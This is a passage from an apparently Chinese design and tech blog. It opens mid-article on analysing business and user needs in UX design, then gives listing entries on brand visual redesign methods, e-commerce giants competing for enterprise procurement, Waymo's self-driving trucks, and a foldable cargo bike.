跟需求方沟通挖掘需求,最重要的注意点是需求方对我们来说是快速了解行业现状和市场需求的绝佳伙伴,所以要更多的聊这些,而不要很快就陷入页面具体细节的讨论。(如果需求方主动要说,可引导至挖掘背后目的是什么,为啥要这样做,具体表现形式可以后面在细化页面时再考虑) 当把这些问题一一问完之后,基本就能对你的项目方向有个基本了解。 (2)挖掘业务本质 部分设计师会在做完上一步之后就立即着手去想有啥更好的解决方案、具体怎么设计了,有些时候这会让思路停留在比较表层的阶段,后续的解决方案也会很受业务侧想法的限制,如果对方想得不够深那最后出来的解决方案也会停留在一样的层面。 设计师若是想要进一步挖据,获得自己更深层的见解,这就需要想办法再往大往深一步去提问去思考了。 定位的主要目标用户群体是谁?选取得是否合理?为他们带来的核心价值是什么?为公司带来的核心价值是什么? 整个业务流程是怎样的?盈利模式是什么? 市场/行业情况怎么样?未来的趋势呢? 竞争对手是谁?我们跟竞争对手相比核心竞争力在哪里? 我们的核心策略方向是否真的有效,发力重点是否合理? 你可能会问了,具体要怎么做出判断呢?更多时候不是要我们绞尽脑汁去想答案,更多的是靠得到尽可能多的一手资料,参考在行业深耕了多年的行家们的见解之后才能权衡来的。根据个人经验主要有如下2点: 1)找到对的人聊 这点应该是要根据需要了解的信息目标去溯源,聊的人应该不限于产品经理,比如什么类型的内容更受欢迎去问运营也许会获得更多信息。 2)找到具有说服力的资料 数据资料:线上页面售卖情况、点击数据分析、已有用户群数据概况、后台用户意见反馈; 与目标群体有重合的页面相关的购买数据、行为数据分析… 核心在于去发现某些固有模式(eg.日用品用户周期性的复购同款商品)和定位问题(eg.绝大多数用户只加购却始终不下单),然后去找背后的原因。  可靠的报告:行业报告、经验性的总结、相关的用研报告。 到行业(电商)资讯网站、数据网站、博客搜索,行业网站如:亿邦动力、天下网商、艾瑞网、199IT、企鹅智库、易观国际..;UED博客类似的项目总结如:腾讯、阿里系列UED;用研团队相关的输出沉淀等等。这点更多的是去验证大方向是否合理,比如服装的市场趋势越来越个性化、用户群愿意花钱去获得独一无二的形象彰显独特,如果大的战略却是主打低价爆款,明显就不对了。 2. 理解用户诉求 根据前面的分析,我们已经明确了目标用户是谁,接下来就要找到目标用户的主要诉求。这时候需要我们尽可能去多一点了解用户的方方面面,尽力发挥共情能力去理解体会用户真正的痛点和深层次的需求。 某家居用品商要制造一款家用钻孔机,继续往下深挖用户诉求: “用户需要的并不是一台钻孔机,他们需要的是墙上有几个孔” “用户需要的并不是墙上的几个孔,他们需要的是墙上显示家人照片” “用户需要的并不是挂了照片的墙,他们需要的是一个更温馨生动的家” …… 聚焦到最深层次的需求,也许到最后你的产品从一台传统的钻孔机变成了嵌在墙上的一个电子相册,说不定还能自动更新、可交互。不管最终的形态是怎样的,都是更能打动目标用户的。 理解用户诉求的具体操作方法非常多,工具不重要,重要的是能真正获得洞见。不同情况下需要设计师根据经验把控了。个人经验包括但不限于: 用户角色+场景穷举,再结合业务的核心价值(业务诉求分析时已经得出)对进行优先级排序,获得典型场景。 用户需求&痛点收集,可参考KANO模型(基本型需求、期望型需求和兴奋型需求)判断痛点待解决的级别。 定位用户诉求背后的潜在诉求。(“我要找到靠谱的设计师帮我设计房子”— >“我想实现理想中的生活方式”) 用户体验地图,结合数据分析和用户意见反馈(适用于整个流程分析) 同理心地图 获取方式更多样,比如:直接找类似用户访谈; 潜入用户圈子看他们在说什么,记录下来(社区圈子、问答平台),follow资深型用户; 看用户对竞品的评价和吐槽;后台用户意见反馈收集整理… 通过这些手段,基本上能有一个比较生动的用户形象呈现在你面前了,这时候就可以回到最后的输出: 典型用户场景(包含用户关注点和用户痛点) 用户主要诉求和潜在诉求 最后结果看似简单,但经过前面的那一轮分析,做起来会明显更具有指导意义,跟需求方说起来也明显更有底气。 3. 设计目标确定 当业务诉求与用户诉求都已经明确之后,我们会发现事情渐渐变得明朗起来。拿着市场需求和用户需要以及业务原本的需求来对一对,市场趋势和用户需要也更加明确。 此时,我们已经可以判断之前需求方提的目标是否合理,如果有补充和调整就可以提出跟需求方进行商量了,而且此时的商量应该是有理有据的,一般情况下,给出收集的实际情况,需求方应该会给出判断,是否可以作为本期目标或其他阶段的目标。 经过沟通,可以提炼出业务目标: 通过「某策略」,帮助用户实现「某价值」,以完成「价值变现」。 如“通过「让用户方便有趣地展示家庭相册」,帮助用户实现「家的温馨感」,以完成「更大的市场占有率」”。 业务目标中,判断设计这一步可以完成的是什么,这便是设计目标。比如以上案例,设计目标就可以定为1.让用户方便的展示家庭相册 2.让用户在展示的过程中获得更多乐趣。 4. 解决方案发散与收敛 解决方案的发散关键在于要紧扣设计目标,同时又不脱离用户角色。可把设计目标具象化成几个关键词,比如周期性回访、加强信任感、新客转化…等,然后围绕具体问题具体发散解决方案。 核心问题聚焦-发散分析。依据分析得出的设计目标和设计策略,围绕得出的结论点来不断细分和发散。 细分用户类型和场景分析。如:细分新老客、带目的1的用户和目的2的用户,他们的用户场景和具体诉求。 按流程步骤分析。当涉及页面流程较长时,可以找到用户几个关键的流程节点,使用渐进流程节点分析,如下方案例分析买手机的用户: AICDA五步分析:引起注意——产生兴趣——建立信任——刺激欲望——促使行动。这套分析思路比较适用于营销活动类的页面。 更多可参考的方法: 头脑风暴/无声头脑风暴 用户行为理论分析 五个WHY分析 用户体验地图 服务蓝图 SWOT分析 进行完发散之后,就可以跟业务方进行一轮沟通评估,通过评估的基本就可以留下作为最后要落地的解决方案了~~ 具体评判维度可参考以下2点: 可行性评估,运营成本、开发可实现性 价值评估,判断最能辅助目标达成的方案、投入产出比 5. 方案在页面中落地 这一步是所有设计师都在花大精力做的事情,基本步骤都大同小异,已经有非常多的文章写过,本文主要讲分析阶段的思路,具体落地方案就不赘述,可简要的参考下个人的设计步骤: 以上就是个人小结的分析思路,希望可以帮到大家。

    2019年12月3日 0 31 0
  • 经验总结|品牌视觉改版要如何开始做?

    不知道大家在遇到视觉改版的时候第一个想法是什么,是参考竞品?还是主观猜测?还是问问用户喜欢什么样的? 其实都不正确,改版通常会分以下几种情况: 只改视觉,不动交互。 视觉交互一起改。 改交互不改视觉。 第3点的情况不多,主要是第1点和第2点,如果视觉交互一起改,还相对更简单一些,但是交互的改动往往伴随着产品的整体规划调整。如果只改视觉不改布局,那限制条件就更多了。那么,究竟视觉改版要如何开始做?我们一起来分析一下。 一、目标 首先我们需要明确我们改版的目标是什么?在确定改版目标之前,我们先问问自己,目前的产品出现了什么问题,也就是为什么要改版?改版是一件工程量非常巨大的事情,因为首先风格的推导过程不是一蹴而就的,不能说你几个人拍板,从自身经验出发说:我们就要这样改!这是不对的。其次改版之后的规范组件库要相应的更新,再次开发资源的分配更捉襟见肘,需要在完成产品功能需求的开发同时来完成改版需求的开发,最后改版的效果我们如何来衡量?是否是一次成功的改版,如果不是,哪些地方需要重新调整?这是一整个改版需要做的闭环工作,从前到后都是需要感性发散,理性执行的。 所以,我们改版的原因是视觉和品牌定位不匹配,还是产品的用户体验很差劲?亦或者是规范组件库需要重新建立?原因可能是重叠的,他们并不是孤立的,那么这次改版我们将问题定在视觉与品牌定位不匹配,并且需要一定程度上优化用户体验这个点上。所以我们的目标是基于正确的品牌定位,从品牌,配色,排版,情感化,微交互,趋势等维度出发,重新定义视觉风格,达到一种让用户一使用我们的产品就能感受到我们的品牌魅力和性格的目的,让用户从情感上达到共鸣的效果,并输出DPL。 其实定义目标,是需要精准化的,不够精准化的目标会让最后的产出流于形式,太广泛的目标并不好落地。 二、方案 说起这个定义方案,其实是比较痛苦的一个过程,因为大家都没有完整的做过一次改版,或者说一次客观的改版,但是通过这次的改版让我们学习到了不少,也发生了一些比较有趣的事情。 首先我们会用到情绪板来定义一个风格走向,其次用到了品牌冲刺,其实这些方法可能最后并不能切实标准化我们去做一些改版设计,但是我们需要找到一些方向,以及一些参考,从而帮助指导我们设计。我们希望了解的是产品的核心价值,产品的性格态度,以及受众的情感和动机,我们通过这些方法我们能够获取这些信息,对我们的帮助是巨大的,而不是马上通过这些方法能得出一个按钮的高度和宽度是多少。所以最后我们用到了3种方法:情绪板、品牌冲刺、定义脑暴 三、流程 方法一:情绪板 情绪板的原本流程是这样的: 探索品牌感觉 → 发现提取关键词 → 寻找对应素材创建情绪板 → 指导设计 其实感觉是一种比较虚无飘渺的东西,即便你是产品的设计或者开发人员,可能你所体会的感受和用户体会的感受并不相同,所以第一步我们需要找准品牌的定位以及用户心中产品是个什么样子,是优雅的绅士还是花枝招展的少女?当然最后你所成型的品牌风格并不能满足你所有用户,但是只要满足大部分用户,你就成功了。 我们对情绪板步骤做了一次修改,因为如果按照情绪板常规的步骤来做的话,我们需要用户二度参与,由于一些原因限制我们进行了一次不一样的尝试,我们首先进行了关键词提炼。 所以我们这次的步骤有了一些改动,就变成了: 发现提取关键词(我们自己) → 寻找对应素材创建情绪板 → 探索品牌感觉(让用户)→ 指导设计 可能有些人会问了,你这样随意改动步骤最后的结果不准确怎么办?其实本来最后也不是一个很准确的结果,而且我们使用一个方法并不需要按部就班的跟着做,否则我们很难从中取发现一些新的问题。 第一步:脑暴提炼关键词 在这之前我们需要用户画像、体验地图、故事板等一些基础用户数据信息。同时因为我们自己也是产品的用户,所以关键词也是有一定的准确性的,这边就是通过具象和抽象两个维度去发散思维,尽可能多的想出一些和产品感觉靠近或者没那么靠近的描述,基本上抽象的类的词比较多,具象类的会比较少,当然脑暴的分类方法肯定有很多中,这里只是举个例子。 第二步:寻找对应的素材及其图像 脑暴出关键词之后我们需要将他们对应的找出不同的图片图像,为什么要找图片,因为我们在访谈过程中,用户很有可能无法将自己的直观感受表达出来,他们需要有图像的辅助才能更直观的表达。这边注意一点尽量找出质量高、种类全的图片,举个例子:有一个关键词叫”女性”,那么我们需要在我们的用户范围内找出不同标准的女性照片,可以有大学女生、新白领亦或者是全职妈妈等等,每一个种类的图片也可以找不同的风格色彩,这些图像后面我们访谈中需要用到。 第三步:探索品牌感觉(让用户) 产品靠谁而活:当然是用户,有时候会发现一些很有趣的问题,比如你将自己的产品定位高级、轻奢、有品位,但是你的视觉风格让用户看起来只有单一、枯燥、性冷淡,所以你的感觉和用户感觉可能并不是同一回事。所以这里我们需要向用户以及一些利益相关者进行一次访谈,来看看他们对我们的产品的感受是怎样的。 在准备第三步访谈之前我们也需要制定一个目标,我们需要通过这次访谈达到一个什么样的目的?这次我们的目的是需要获取用户对我们产品引发出的一些明确的情感以及准确的描述,例如色彩搭配、性格、图标风格、排版方式等等。 当然在访谈之前我们一定会准备一个访谈提纲,这个提纲也是有一些门道,第一次提纲列的时候就坑了,因为我设置的问题会比较术语化,比如: 请问您觉得目前我们产品的视觉风格怎么样? 这个问题犯了2个错: 问的太空泛,用户无法回答,他们只能说还行,或者不错。 根据我们用户接触互联网的水平及敏感度,她完全听不懂视觉风格是什么意思。 所以,我们将问题进行了修改,不再单一的向用户询问问题,而是通过对竞品图片比较,以及有针对性的元素举例来让用户表达她们内心真实的想法。 我们在第二步中将关键词对应的照片分别放在每一个以关键词命名的文件夹中,让用户去选择符合她心中产品感觉的关键词,这时候我们需要去追问用户为什么选择这个关键词,其中的原因我们要深入挖掘,举个例子:用户选择了一个叫安全感的关键词,那么让用户造成安全感的因素是很多的,我们不知道产品为什么能让用户产生安全感,所以我们会继续提问,为什么选择安全感,是产品的哪个地方、步骤、元素、或者别的一些什么因素让你产生了安全感。直到用户能够准确并确定这是根本原因的时候我们才能停止。 最后我们让用户来挑选该关键词下的多类图片,同样的挑选图片我们也要问用户,为什么是这张而不是那张。 第四步:指导设计 先等等,光靠情绪板我认为还是不足以将这次改版做好,因为我们还是没有能够将品牌考虑进去,视觉风格可能有一定的方向了,但是具有品牌化的视觉风格我们还未能定义出来,所以我们又找到了一种方法,叫做品牌冲刺。 方法二:品牌冲刺 这里要感谢珂珂同学当时分享给我的一篇文章,所以后面我们也是尝试性的做了一下其中的几个环节。具体的品牌冲刺步骤大家可以去知乎搜一下 ONES Piece 好,那么如何开始做品牌冲刺,品牌冲刺给我的第一印象差不多是类似于设计冲刺那样的高效但是局限性很大的一种探索方法,但是我们会发现,即便投入更多时间去做一些品牌的探索也并非百分百能产出更好的结果,所以品牌冲刺会是一个比较好的选择。 品牌冲刺包含六项操作: 二十年线路图:可以帮助你把眼光放长远。 是什么、怎么做、为什么:帮助你思考公司/产品存在的理由。 三大市场价值:让你的为什么更具体。 三大受众:帮你为品牌目标梳理轻重缓急。 人格化块:定义了你的品牌态度和风格。 竞品地图:将你的品牌与竞品进行对比。 参与人员: 决策者(老板、运营总监、产品总监、ued总监) 参与者(用户、产品、运营、用研、交互、视觉) 记录者 这里会有一些很有意思的地方,那就是决策者的选择可能不一致,主要是看看决策者和我们的方向是不是大致一致的,并非是让决策者真的来拍板。 好了,这边我们主要用了人格滑块和竞品地图,为什么不把所有的步骤都做一遍?因为方法是死的,人是活的,这里用到两个对我们性价比最高的步骤我认为就足够了,不过大家可以去整一个流程去尝试一下,肯定获益匪浅。 人格滑块 这个词听起来是不是挺有趣的,其实它就是可以在白纸上完成的小case,在这步操作中我们需要将小滑块画在我们心中产品品牌对应的定位位置,有一定的偏向或者极端选择,都是有价值的选择。这里的选项并不固定只有这四个,你可以自己补充需要的对立极端定位。选择完之后每一个人都需要将选择的理由说一下并由记录者记录。 竞品地图 其实就是一个四象限矩阵,x轴标记为从传统经典道现代前卫,y轴标记为从生动活泼到保守严谨,当然你还可以做第二个矩阵第三个矩阵,xy轴标记可以自己根据情况写,但是最好不要重叠。 做了这么多探索性质的工作,我们心中对产品,以及用户对产品的感受有了一个比较清晰的概念,我们知道了她们偏好哪一种风格,喜欢哪一类颜色,以及她们的一些建议,最终我们将通过脑暴来定义这些可以落地的具体方案。 在定义之前我们还做了一项工作那就是视觉竞品分析,有些人说参考竞品就好比抄袭,其实不应该这么说,我们能从竞品中获得比较好的惊喜点,我们可以加以改进成为我们的东西这其实无可厚非,这也并不会最终造成两个很像的的产品出来,关键的地方在于在参考别人优点的同时能否将自己的创意点、品牌个性融合进去。 四、总结 目前正在做改版,所有的方法可能都只是参考,做那么多探索,其实就是为了提高正确率而已,即使错了也不会离谱。但是你不去做,可能会错得很离谱。所以,我们为什么要讲究一个设计流程?一个原因是能够获得支持你提案的论据,第二个原因是能帮助你准确定位用户及产品的情感方向;最后一个原因是能够帮助你积累一定的设计经验和方法,以及问题的总结。最后能否达到一个成功的视觉改版是靠30%的探索流程+70%设计师水平。

    产品设计 2019年12月3日 0 203 0
  • 下一个万亿风口?阿里,京东,苏宁开始竞逐这个市场!

    5月10日,京东颁布以JD-Business为定名的京东企业级市场计谋。据京东大客户营业仔细人宋春正先容,该计谋以采购为主场景,环绕企业采购处事机关妙技、商品、如约交付、增值处事四大手段,并依托京东云、京东金融、京东物流实现采购处事的周全进级。 这并非京东在商用市场的初度发力。客岁4月,京东初度推出商用品牌计谋,电商采购被晋升至品牌和计谋高度;7月,推出“翼采平台”,实现购物平台与企业ERP体系之间的对接;10月,首发企业采购挪移办理方案,完成企业采购从PC向挪移真个过渡;12月6日,京东整体在京颁布“京商打算”,经由过程成立“京东-商会企业采购专属平台”,为商会会员供应搜罗企业整体员工福利、齐集采购,七夜办公用品采购,市场营销礼物采购,渠道嘉奖采购等差异场景下的采购办理方案。 另一方面,搜罗阿里巴巴、苏宁等在内的电商巨擘们,也正意识到商用市场的潜力。客岁年尾,阿里巴巴推出1688大企业采购平台,为企业非打算性采购的需求供应商家筛选、齐集议价的处事。而在此当年,天猫企业采购频道、苏宁易购也纷纷推出,进军商用市场。颠末一年的蓄力之后,本年有望成为电商商用市场竞争元年。 商用市场的能量历来不容小觑。 以PC市场为例。频年来,因为智妙手机、平板电脑等产物的抨击攻击,PC市场团体默示低迷,此中以斲丧级市场尤甚。但业内子士对其商用市场仍具抉择信心,按照IDC中国今天给出的一组数据表现,至2020年,中国商用PC发卖量将到达5558万台摆布,2016年至2020年复合增添率将到达2.9%。商用条记本方面,到2020年其年发卖量将为924万台摆布,2016-2020年复合增添率估量将到达4.5%。 只管商用市场极具局限与潜力,但应付电商企业而言,这仍旧一片蓝海。有业内子士阐发称,在中国企业采购的市场中,仅有不到20%的企业行使过电商采购。这也就意味着,只管中国斲丧品产物与糊口处事电商比例高、成长快,但中国传统企业应用互联网器材及电商体系的比例还很低。 但另一方面,传统的企业采购模式衍生出良多痛点。据前腾讯、京东计谋阐发师、京腾汇首创人李成东先容,以往需求企业是经由过程线下齐集采购会或分批报告采购的办法举办传统控制,流程包孕“提交需求-预算-品台洽商-走条约-审批-下单-履单”等枢纽,存在报告流程伟大、效用低下、需求受室与买卖营业挣脱等题目。 这也无怪乎现在有越来越多企业正在思考变化采购风俗,测验考试以线上采购、体验与线下处事相融合的采购模式,此中不单有外企、中小企业,乃至搜罗当局和央企。究竟上,经由过程“触网”,企业的采购确实可以变得更为高效。据宋春正先容,依托自营式电商和尺度价值处事,京东样本测算出的功效表现企业购的采购团体效用晋升50%,采购综合本钱低落15%。 是以,业内对企业级电子商务市场普遍看好。按照家产和信息化部赛迪研究院颁布《2016中国自营式企业网购阐发陈诉》(以下简称“网购阐发陈诉”)表现,2016年中国电子商务市场团体买卖营业局限估量达19.8万亿元,此中企业级电子商务(即企业网购)市场局限到达15.1万亿元,同比增添22.1%。赛迪研究院同时展望,将来三年内,企业级电子商务市场将泛起不变增添。 电商采购暗战 “打算本年年尾成为非出产资料规模最大的一站式商品提供平台”,这是宋春正在JD-Business颁布会现场放下的豪言。相较于竞争敌手而言,京东在商用市场夺取战中显得颇为高调。 据相识,今朝中国企业级电子商务首要有两种贸易模式:自营式偏僻台式。在自营式模式下,电商企业供应同一的仓储、物流、售后处事、团体品牌营销等一站式处事,以京东企业购、天猫企业购等为代表。平台式电商企业只是一个开放性平台,为买卖营业两边供应一个线上渠道。 2016年,京东企业购、天猫企业购相续自力推出,《网购阐发陈诉》表现,2016年上半年,在各大自营式企业网购平台中,京东商城旗下京东企业购所占市场份额最大,占到45.6%;其次是天猫企业采购频道,占比为18.5%;个体财宝垂直自营式平台也获得快速成长,譬喻举办元器件买卖营业的科通芯城,其占比达8.6%,赶过苏宁易购位列第三。 “企业、当局采购是一个万亿级的大市场,对价值并不那么敏感,而更体谅采购进程、商品行量、处事进程、结算系统。”李成东指出,“在这个市场中,自营B2C模式具有一定的竞争上风。此外,企业采购也需办理效用题目,这都是京东的机遇地址。” 这也是宋春正放下豪言的抉择信心地址。“从2013年起头,京东就在经营进入企业级市场,力求用电子商务的办法去办理企业采购的透明度、采购周期、采购效用等一系列痛点,让采购无缝毗连。”宋春正讲述21世纪经济报道记者,在企业级市场规模,京东拥有先发上风,一时营模式相较于阿里巴巴的平台模式更具市场上风,“我们可以给企业采购者同一开票、同一配收、同一结算、同一的售后处事保障。” 应付将来的竞争,宋春正则指出,京东将连续致力于将企业客户思想转化成计谋实行力,让互联网妙技在企业的内部获得操作,让企业采购市场搬到线上来。“基于京东提前结闲谈自身上风,理论上我们可以紧紧占有行业的一定位置。”宋春正讲述21世纪经济报道记者。

    2019年12月3日 0 225 0
  • 谷歌正在开发自动驾驶卡车 计划今年就要上路测试

    戴姆勒、沃尔沃和Uber等大型公司都在研发自动驾驶卡车。Waymo以前只是谷歌旗下的一个自动驾驶汽车项目,后来成为Alphabet 旗下的一个独立公司。作为自动驾驶汽车的先驱,Waymo开发自动驾驶卡车并不令人意外。Waymo希望利用自主驾驶技术改变卡车行业。 Waymo在一份声明中说:“自驾技术可以更安全地运输人员和货物,并每年减少数千起与卡车有关的死亡事故。”确实如此,美国每年因为卡车车祸导致4000人死亡,11.6万人受伤。 自动驾驶卡车的商业前景也令人瞩目。现在卡车司机紧缺。美国卡车运输协会(American Trucking Associations)预计,这种情况还将继续恶化,到2024年,卡车司机的短缺数量将达到17.5万名。自动驾驶卡车可以帮助解决这个问题,同时也能够减少企业的资金和时间成本。 Waymo有8年的自动驾驶汽车开发经验。现在,Waymo正在研究如何将这些技术应用于卡车。Waymo已经在加利福尼亚州进行过内部测试,解决了诸如如何将传感器放在53英尺的拖车上以及卡车如何安全地制动和加速等技术细节。该公司计划今年晚些时候在亚利桑那州进行上路测试。 从长远来看,Waymo希望自动驾驶卡车能够处理里程较长但路况简单的路线,而由人类司机处理城区内复杂路线的驾驶。在技术上,这是有道理的。州际驾驶没有交通信号灯或行人之类的障碍,驾驶相对简单。谷歌2012年在高速公路上测试过自动驾驶汽车。 然而,这种策略意味着Waymo可能必须违背其核心原则:运行自动驾驶汽车的最佳方式是无人参与。卡车可能绝大多数时间在高速公路上行驶,但某些时候它们仍然需要在城区内的道路上行驶。这可能意味着它仍然需要司机,至少短期内如此。而且,在处理艰难的最后一英里的驾驶时,司机还要执行电脑现在还无法执行的一些关键任务。 无论如何,卡车领域近年来变得更加有趣了。除了上述公司之外,还有一些公司也在参与竞争。预计将于今年9月份发布的特斯拉半挂卡车将具备一些自主驾驶的功能。创业公司Starsky Robotics正在开发远程控制的大型卡车。 创业公司Peloton Technology正在研究卡车编队行进的创新解决方案。Waymo是自动驾驶汽车的先驱,但是在自动驾驶卡车领域,该公司也只是一个创业公司。

    2019年12月3日 0 188 0
  • 【视频文章】3秒拆装的“斗子车”:比自行车还灵活

    3秒变身小货车拉货带娃小意思,能随时变身的斗子车,骑上它,你将是整条街最靓的仔

    产品设计 2019年12月3日 0 37 0

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